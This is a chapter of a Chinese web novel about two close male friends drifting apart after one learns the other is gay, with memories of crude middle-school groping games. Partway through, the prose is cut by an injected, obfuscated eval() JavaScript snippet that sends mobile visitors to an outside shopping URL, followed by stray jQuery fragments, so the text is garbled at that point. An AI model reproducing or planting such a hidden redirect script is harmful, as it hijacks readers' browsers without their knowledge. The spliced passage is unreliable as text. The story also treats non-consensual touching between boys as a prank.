昨天为了送室友去医院,把电瓶车落在了学校,第二天早上,只好打车去学校。

    花贺一宿没睡好,一直在想过去的事,想青春期自己第一次心动,第一次对欲望有概念——

    他很确定,没有具体的某个人,只有模糊的一个形象。但是那个形象,就是女孩,就是青春电影里那种清纯活泼可爱的女孩。

    在他向往青春电影里那种美好初恋时,栗原在想什么呢。

    花贺想到很多之前的事情。

    他初中那会儿,男同学之间真的是无法无天,平时搂搂抱抱叠在一起,上课偷偷牵手,都是常态。

    过分一点的,会趁对方上楼梯时来个千年杀。

    更过分一点,会冷不丁在对方走路时跑过去,掏一下。

    初二那年,班里还有个男生,因为吃胖了胸鼓了一些,上课时和同桌在后排互相掐胸口。据说他同桌是凹进去的,两个人就这样你掐一下我抠一下,给其中一个捏出了乳腺炎。当时班里也没人觉得不对劲,只觉得好笑。

    他初中一点都不开智,很喜欢这种游戏。

    但不管是千年杀,掏一下,还是掐胸口,都很疼,所以他很保护自己,不让自己遭冷手。但是他确实觉得这样很好玩,觉得这样打打闹闹很有意思。

    不想自己受伤,又想去弄别人。

    他就盯上了栗原。

    因为栗原也从来不和别人玩这个游戏,他觉得栗原可能就是不喜欢。

    既然不喜欢,就不会对他做。

    而且那时候他也有种少年人天真的残忍,意识到栗原其实对他很包容,很能容忍他。

    虽然他有很多朋友,但其他朋友好归好,不会像栗原这样完全地包容他。

    他就会时不时掏一下栗原。

    栗原每次都会冷脸,会按住他的胳膊推开他。他就接着和栗原闹,直到把栗原逗笑。

    后来是怎么改掉这个习惯的呢。

    是那年夏天在栗原家里玩,打了一上午游戏,吃过午饭就躺在栗原床上睡觉。

    睡醒发现栗原就在自己身边,还在睡。

    当时想搞恶作剧,想栗原睡着肯定阻止不了自己,自己岂不是为所欲为。

    脑子还没完全清醒,先把手伸过去了。

    是硬的。

    ……

    之后就完全改了。

    现在再想起这件事,花贺真想把当初那个自己的脑子撬开,看看里面到底是什么,能不能移植到自己现在的脑子里来。

    当时经历了那么尴尬的事,自己还能若无其事,接着和栗原相处。

    怎么开了智之后,反而做不到了呢。

    一晚上都在想这些乱七八糟的事,睡也没睡好,去学校的路上直打瞌睡。终于还是忍不住,歪在椅背上,打算眯一会儿。

    椅背有点硬。

    他不确定自己会不会睡着睡着往旁边倒,倒在栗原身上。

    这种事之前发生过很多次,栗原从不会介意,所以有时候路程短睡不了太久时,他为了自己睡得舒服一点,会理所当然指使栗原靠过来一点,直接靠在栗原肩膀上睡。

    但今天,花贺觉得,自己还是有点分寸感。

    免得栗原苦恼,也免得他疑神疑鬼的。

    他将身体倾斜向栗原反方向,靠在车窗上,调整到一个还算舒服的姿势,闭上眼睛。

    但根本也睡不着。

    因为他又开始想,自己这样的行为,会不会让栗原多想。

    刻意的改变,是不是违背了“假装不知道”的准则。

    心烦意乱。

    很快就到了学校,司机停车:“到了。”

    花贺睁开眼。

    栗原就坐在他身边,看着他。

    这样的栗原,和中秋那天晚上的栗原重叠在一起。

    花贺理智上知道现在的栗原没有靠近自己,和自己保持着正常距离,可身体却还能记起被栗原抚摸脸颊,感受到栗原呼吸撒在脸上的感觉。

    他怔了一下,对上栗原的视线,就飞快移开。

    移开后又觉得不好,重新把目光聚过来,去看栗原。

    但栗原已经没在看他了。

    栗原:“到学校了,走吧。”

    打开车门,下车。

    花贺跟在栗原身后,有心想要解释自己的疏离,可根本不知道怎么说,欲言又止,最后还是沉默。

    =

    下了课,花贺骑着电动车往寝室去。

    后座,是扭伤脚的室友。

    室友故作热泪盈眶:“花花你真是我的好兄弟,太感谢你了。”

    花贺:“没事。”

    伸手,把室友放在自己腰上的手掰下去,“你别碰我就好。”

    自从知道栗原是同性恋之后,他现在对所有触碰都大惊小怪,心里发毛。

    不是怕别人是同性恋喜欢自己,他不觉得自己那么招人喜欢,所有男同性恋都得喜欢自己。

    就是过不去自己心里那关。

    室友反而搂得更紧:“你的车太矮了,我怕摔下去。”

    花贺叫一声,手上没扶好把,车头猛得往旁边一扎,歪歪扭扭。

    室友吓一跳,飞快松了手:“不搂了不搂了,你别翻车了。”

    花贺扶好,停下,缓了缓,才接着往前走。

    到了寝室,室友等他来扶,花贺也不扶他,拿了外卖就远远走在前面,等室友艰难扶着楼梯一蹦一跳蹦上楼。

    室友一边蹦一边吼他:“兄弟你扶我一下啊!”

    花贺:“旁边不是有把手给你扶吗。”

    大步上楼,等室友也跟上来,拿钥匙开门,进了寝室,自顾自坐在室友椅子上。

    室友:“坐你的位置去。”

    花贺:“没有我的位置了。”

    他搬出寝室后,他的床位就有了新人。

    室友看了看,也是,就任由他坐了。

    两人拆开外卖,开始吃饭。

    吃完饭,其他室友也陆续回来了,大家聊了一会儿,张罗着上号打游戏。

    四个人,再加上刚搬进寝室的新室友,刚好五个人。

    其他四个人坐在床上,只有花贺一个人,坐在不是自己的椅子上。

    寝室长打了一会儿,看花贺,说:“你看上去好可怜,不然你坐我床上好了。”

    花贺:“不了,我手机快没电了,等会儿就走。”

    室友:“一想到你不在家里舒舒服服躺着和我们玩,宁愿来这么狭小的寝室,坐在冷板凳上,也要和我们一起玩,我就非常感动。所以我决定把我的充电宝给你用。”

    花贺看了眼室友略微鼓包的充电宝,被自己被炸死,僵笑:“不了。”

    那个摔伤脚的室友埋头打游戏,随口说:“花花现在和我们生疏了,我坐他的车他不让我搂他腰,今天上楼都不扶我,现在就连我们的床我们的充电宝都不肯用。”

    几个室友统一“噫”起来。

    花贺:“不是,有什么好搂的?你坐直了不就好了?我没扶你你不是也上楼了吗?还有你的床你的充电宝……我马上就走了。”

    如果不是栗原还有事,他自己在家空荡荡很无聊,一无聊起来就会想栗原,越想越麻,等栗原回来就不知道怎么面对栗原,表现尴尬——之前几天,就是这样反复循环,让他怀疑再这么循环下去,以后自己见到栗原都没办法正常交流。

    而且,可能因为他的尴尬,栗原回家的时间越来越晚,花贺越来越确定,栗原也在有意躲着自己。

    明明一个月前他们还是好到能穿一条裤子的兄弟,结果才一个月,就变成了现在这样。

    明明住在一起,却一天都见不到一次面。

    为了打破循环,花贺才

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17976034|214726||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    决定做些什么。比如来寝室,找到和正常朋友相处的正常节奏。

    但显然,还是失败了。

    室友:“他现在疏离得像个恋爱后和所有异性都拉开距离的妻管严。”

    哄堂大笑。

    游戏音效里,室友你一言我一语:“可我们是同性啊!这也要避嫌吗。”

    “万一是gay呢。”

    “笑死我了。”

    笑了一会儿,意识到花贺没笑。

    于是齐齐安静下去。

    只剩下游戏音效。

    安静了很久。

    室友:“我表妹眼光这么准吗,每次都能在人群里看上那个零。”

    花贺骂:“你才是零!我不是啊!”

    过了半秒,寝室有人试探着问:“你是1?”

    花贺:“不是啊!”

    听花贺语气还在正常范围内,大家才松了一口气,纷纷指责:“那你刚刚怎么不笑。”

    “不笑的是gay。你不笑,我们差点就把你当gay了。”

    新来的室友还在打游戏,抬头看了眼花贺,说:“也可能,是恐同吧。”

    寝室安静了一秒,又纷纷指责花贺:“怎么可以歧视同性恋,刚刚我们以为你是gay,都什么都没说。”

    花贺:“谁歧视了?!我什么都没做啊!”

    新室友:“其实……我是体育专业的。”

    花贺不明所以,但莫名想到那天在体育场遇到的两个很专业的男生,他问:“你们专业很多同性恋?”

    新室友:“还好吧。就是……王哥脚受伤那天,我听我们田径队的前辈说,在体育场遇到一个男的,一听说他是同性恋,马上就跑了。”

    花贺有了不好的预感。

    新室友大笑:“他说,明明那个男的看上去那么零,却还恐同。”

    室友也跟着笑:“是谁啊,好难猜啊。”

    “不笑的是gay。”

    花贺气死了:“不玩了。”

    正好游戏结束,他收起手机站起来,“我走了。”

    出了寝室楼,骑上电瓶车,先去教学楼底下。

    他犹豫了一下,给栗原发消息:“你回家了吗?”

    栗原:“马上。”

    花贺就在楼下等了一会儿。

    但直到天完全黑透,栗原才出来。

    他没看到楼下的花贺,自顾自往前走。

    花贺叫住他:“栗原。”

    栗原回头,看到他,朝他走过来:“你怎么来了?”

    “我刚刚在寝室玩了一会儿,想到你还在上课,想等你一起回去来着。”

    栗原:“等很久吗?”

    花贺:“没。”

    栗原拿出手机看了看,花贺给自己发的那条消息,已经是四十分钟前了,他有些懊恼:“我该早点出来的。现在晚上有点冷了。”

    “没多久,我那时候还在寝室呢。”

    花贺示意,“上车,我带你回去。”

    栗原在后座坐下。

    花贺启动。

    他说:“学校新修了减速带,你要扶好。”

    栗原:“嗯。”

    到底也没扶花贺。

    花贺没再说话。

    他心里很难过。

    不知道自己和栗原怎么变成这样。

    也觉得自己很蠢,这么晚才意识到栗原的取向,还演不好不知道。

    就连和自己短暂相处的室友都能看出自己的疏离,栗原能看不出来吗。

    真的要因为别人的几句话和自己胡乱的猜测,就臆想栗原是什么样,并这样对待栗原吗?

    他不可以这么过分。

    不然,今天就和栗原好好聊一聊,搞清楚栗原到底是不是,到底是怎么想的,然后……

    然后会怎么样呢。

    花贺也不知道。